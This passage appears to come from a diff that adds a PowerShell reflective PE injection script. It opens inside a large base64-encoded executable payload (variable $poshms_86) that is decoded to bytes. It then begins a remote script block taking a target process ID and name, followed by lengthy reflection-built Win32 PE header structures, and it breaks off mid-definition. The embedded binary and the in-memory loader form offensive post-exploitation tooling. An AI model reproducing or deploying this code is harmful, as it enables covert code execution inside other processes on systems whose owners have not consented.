xMPF08ZTx1PIY87Dz3PAI9CD0RPVM9fj2jPa89uz3OPe09GD4wPnU+gT6NPpk+rD7QPlA/ABABAEAAAAByMIQwljAGMWcxwjEwMk8ygDLVMw81KjVANVY1XjW3OLo5yzlSPFg85jzrPP08Gz0vPTU9gT6ePgAgAQAcAAAAcjCOMDYxcjK/MwI0HTQxNDc0AAAAMAEADAEAAEAxSDFUMVgxXDFoMWwxcDGENog2jDakNqg2rDbANsQ2yDbkNug27DbwNvQ2GDccNyA3JDc4Nzw3QDdEN1g4XDhgOGQ4aDhsOHA4dDh4OHw4gDiEOIg4jDiQOJQ4mDicOKA4pDioOKw4sDi0OLg4vDjAOMQ4yDjMONA41DjYONw44DjkOOg47DjwOPQ4+Dj8OAA5BDkIOQw5EDkUORg5HDkgOSQ5KDksOTA5NDk4OTw5QDlEOUg5TDlQOVQ5WDlcOWA5ZDloOWw5cDl0OXg5fDmAOYQ5iDmMOZA5lDmYOZw5oDmkOag5rDmwObQ5uDm8OcA5xDnIOcw50DnUOdg53DngOeQ5AEABABgBAAD4MAAxCDEMMRAxFDEYMRwxIDEkMSwxMDE0MTgxPDFAMUQxSDFUMVwxYDFkMWgxbDHYMtwy4DLkMugy7DLwMvQy+DL8MgAzBDMIMwwzEDMUMxgzHDMgMyQzmDucO6A7pDuoO6w7sDu0O7g7vDvAO8Q7yDvMO9A71DvYO9w74DvkO+g77DvwO/Q7+Dv8OwA8BDwIPAw8EDwUPBg8HDwgPCQ8KDwsPDA8NDw4PDw8QDxMPFA8VDxYPFw8YDxkPGg8bDxwPHQ8eDx8PIA8hDyIPIw8kDyUPJg8nDygPKQ8qDysPLA8tDy4PLw8wDzEPMg8zDzQPNQ82DzcPOA85DzoPOw88Dz0PPg8/DwAPQQ9CD0AAABQAQDQAQAATDVUNVw1ZDVsNXQ1fDWENYw1lDWcNaQ1rDW0Nbw1xDXMNdQ13DXkNew19DX8NQQ2DDYUNhw2JDYsNjQ2PDZENkw2VDZcNmQ2bDZ0Nnw2hDaMNpQ2nDakNqw2tDa8NsQ2zDbUNtw25DbsNvQ2/DYENww3FDccNyQ3LDc0Nzw3RDdMN1Q3XDdkN2w3dDd8N4Q3jDeUN5w3pDesN7Q3vDfEN8w31DfcN+Q37Df0N/w3BDgMOBQ4HDgkOCw4NDg8OEQ4TDhUOFw4ZDhsOHQ4fDiEOIw4lDicOKQ4rDi0OLw4xDjMONQ43DjkOOw49Dj8OAQ5DDkUORw5JDksOTQ5PDlEOUw5VDlcOWQ5bDl0OXw5hDmMOZQ5nDmkOaw5tDm8OcQ5zDnUOdw55DnsOfQ5/DkEOgw6FDocOiQ6LDo0Ojw6RDpMOlQ6XDpkOmw6dDp8OoQ6jDqUOpw6pDqsOrQ6vDrEOsw61DrcOuQ67Dr0Ovw6BDsMOxQ7HDskOyw7NDs8O0Q7TDtUO1w7ZDtsO3Q7fDuEO4w7lDucO6Q7rDu0O7w7xDvMO9Q73DvkO+w79Dv8OwQ8DDwUPBw8JDwsPDQ8PDxEPEw8VDxcPGQ8AGABANABAABwNng2gDaINpA2mDagNqg2sDa4NsA2yDbQNtg24DboNvA2+DYANwg3EDcYNyA3KDcwNzg3QDdIN1A3WDdgN2g3cDd4N4A3iDeQN5g3oDeoN7A3uDfAN8g30DfYN+A36DfwN/g3ADgIOBA4GDggOCg4MDg4OEA4SDhQOFg4YDhoOHA4eDiAOIg4kDiYOKA4qDiwOLg4wDjIONA42DjgOOg48Dj4OAA5CDkQORg5IDkoOTA5ODlAOUg5UDlYOWA5aDlwOXg5gDmIOZA5mDmgOag5sDm4OcA5yDnQOdg54DnoOfA5+DkAOgg6EDoYOiA6KDowOjg6QDpIOlA6WDpgOmg6cDp4OoA6iDqQOpg6oDqoOrA6uDrAOsg60DrYOuA66DrwOvg6ADsIOxA7GDsgOyg7MDs4O0A7SDtQO1g7YDtoO3A7eDuAO4g7kDuYO6A7qDuwO7g7wDvIO9A72DvgO+g78Dv4OwA8CDwQPBg8IDwoPDA8ODxAPEg8UDxYPGA8aDxwPHg8gDyIPJA8mDygPKg8sDy4PMA8yDzQPNg84DzoPPA8+DwAPQg9ED0YPSA9KD0wPTg9QD1IPVA9WD1gPWg9cD14PYA9iD0AgAEAlAAAAGoxbjFyMXYxDDsUOxw7JDssOzQ7PDtEO0w7VDtcO2Q7bDt0O3w7hDuMO5Q7nDukO6w7tDu8O8Q7zDvUO9w75DvsO5Q8mDygPMA8xDzUPNg84Dz4PAg9DD0cPSA9JD0sPUQ9VD1YPWg9bD1wPXQ9fD2UPaQ9qD24Pbw9xD3cPew98D0APgQ+CD4QPig+AJABALwAAABkMXAxlDG0MbwxxDHMMdQx8DEQMiwyMDI4MkAySDJMMlQyaDJwMoQyjDKUMpwyoDKkMqwywDLcMuAy/DIAMwgzEDMYMyAzNDNQM1gzXDN4M4AzhDOcM6AzvDPAM9Az9DMANAg0NDQ4NEA0SDRQNFQ0XDRwNJA0sDTQNNg03DT4NBg1NDU4NVg1eDWENaA1wDXgNQA2IDZANmA2gDagNsA24DYANyA3QDdgN4A3oDe8N8A3AAAA4AEAWAAAABQwQDFwMYAxkDGgMbAxyDHUMdgx3DH4MfwxIDckNzg3PDdAN0Q3SDdMN1A3VDdYN1w3aDdsN3A3dDd4N3w3gDeEN7A3zDfoNxA4KDhEOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" + [Byte[]] $PEBytes = [System.Convert]::FromBase64String($poshms_86) +} + +$RemoteScriptBlock = { + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $FuncReturnType, + + [Parameter(Position = 2, Mandatory = $true)] + [Int32] + $ProcId, + + [Parameter(Position = 3, Mandatory = $true)] + [String] + $ProcName, + + [Parameter(Position = 4, Mandatory = $true)] + [Bool] + $ForceASLR + ) + + ################################### + ########## Win32 Stuff ########## + ################################### + Function Get-Win32Types + { + $Win32Types = New-Object System.Object + + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + + ############ ENUM ############ + #Enum MachineType + $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null + $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null + $MachineType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType + + #Enum MagicType + $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null + $MagicType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType + + #Enum SubSystemType + $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null + $SubSystemType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType + + #Enum DllCharacteristicsType + $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null + $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null + $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null + $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null + $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null + $DllCharacteristicsType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType + + ########### STRUCT ########### + #Struct IMAGE_DATA_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) + ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null + $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY + + #Struct IMAGE_FILE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null + $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER + + #Struct IMAGE_OPTIONAL_HEADER64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null + $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 + + #Struct IMAGE_OPTIONAL_HEADER32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 + + #Struct IMAGE_NT_HEADERS64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null + $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 + + #Struct IMAGE_NT_HEADERS32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null + $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 + + #Struct IMAGE_DOS_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) + $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null + + $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) + $e_resField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null + + $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) + $e_res2Field.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null + $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER + + #Struct IMAGE_SECTION_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) + + $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) + $nameField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 